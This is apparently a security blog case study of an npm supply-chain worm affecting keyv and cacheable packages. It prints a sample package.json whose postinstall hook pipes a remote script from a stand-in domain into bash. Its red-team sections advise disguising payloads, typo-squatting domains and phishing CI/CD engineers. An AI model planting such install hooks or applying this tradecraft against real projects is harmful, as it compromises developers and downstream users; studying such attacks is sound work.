Inside the keyv/cacheable npm Worm: A Supply-Chain Attack Case Study

The rise of software supply-chain attacks has been a pivotal focus in cybersecurity, and the recent keyv/cacheable npm worm incident emphasizes this threat’s gravity. This specific attack targeted the npm ecosystem, exploiting trusted packages to infiltrate downstream projects at scale. In this Tacklebox article, we explore the malicious techniques employed, the broader implications for supply-chain security, and why typical mitigation strategies, like revoking tokens, were rendered ineffective in this scenario.

Campaign or TTP Overview

In early 2023, security researchers identified a worm within the npm package registry, specifically affecting the keyv and cacheable packages. These are widely used libraries, integral to many Node.js applications for caching purposes. The attack exploited these trusted packages to infect a wide range of projects, propagating malicious code across multiple environments.

This incident marks a crucial evolution in software supply-chain tactics. The attack originated when threat actors managed to inject malicious code into an npm package update. The corrupted packages were then downloaded by developers and CI/CD pipelines blindly, allowing the malware to spread extensively without immediate detection. This attack pattern demonstrates a shift towards targeting package ecosystems, especially those with widespread downstream dependencies.

The attack was dissected and documented in detail by SANS Internet Storm Center, providing crucial insights into the methodologies and reach of these actors. Their attribution data points to adeptly coordinated actors capable of initiating severe disruptions across global software infrastructures.

How It Was Built

The technical architecture of the keyv/cacheable worm was sophisticated yet insidious in its execution. The threat actors established a foothold by initially exploiting an infrastructure vulnerability within their development environment, leading them to successfully upload a compromised version of these npm packages. This was achieved through a combination of phishing in supply chain channels and credential stuffing attacks that allowed unauthorized control over an npm account.


{

  "name": "cacheable",

  "version": "6.1.2",

  "main": "index.js",

  "scripts": {

    "postinstall": "curl -sL maliciousscript[.]com | bash"

  },

  "repository": {

    "type": "git",

    "url": "git+https://github.com/user/repo.git"

  }

}

The payload involved using package scripts, such as

postinstall

, to fetch and execute a remote script upon installation. This stealth method undermined trust, as developers regularly run automatic updates without scrutinizing scripts executed post-installation. The domains and URLs were crafted to mimic legitimate ones by creating benign look-alikes, reducing the likelihood of premature detection.

Why It Worked

The campaign’s success can be attributed to several clever strategies:

Trusted Package Vector: Using widely trusted packages provided a platform for mass distribution. Developers do not typically inspect updates from well-known packages, which facilitated seamless infiltration.
Script Legitimacy: The use of

postinstall

scripts looked innocuous as many legitimate packages execute such scripts for configuration tasks post-installation.
Domain Spoofing: The delivery URL was convincingly camouflaged, exploiting human error and the general trust in the npm ecosystem, making it less likely to raise red flags.

The attack efficiently bridged the gap between social engineering and technical manipulation by blending into workflows, where automation is heavily relied upon, further exacerbating impact before any signatures could be established for detection.

Operator Takeaways

For red teams, leveraging insights from this campaign can enhance the development of simulated attack scenarios. Consider the following:

Examine workflows and their automation scripts to find entry points where scripts could go unnoticed.
Create nuanced, environment-specific payloads that capitalize on human trust in automated processes and package management systems.
Design phishing lures that target both developers and DevOps engineers, exploiting CI/CD pipeline credentials, which can offer substantial control over environments.

Do’s and Don’ts

Do design payloads that blend process automation, aligning them with regularly expected package behavior.
Do ensure domains and URLs are indistinguishable from legitimate ones. Use typo-squatting and homograph techniques where possible.
Don’t rely solely on novelty. Build on existing operational processes in organizations; interruption through familiarity can yield large-scale disruptions.
Don’t underestimate the power of trusted intermediaries like package managers. These are prime targets for reaching thousands with minimal effort.

References

Interesting Diary: ISC Reference

NPM Official Documentation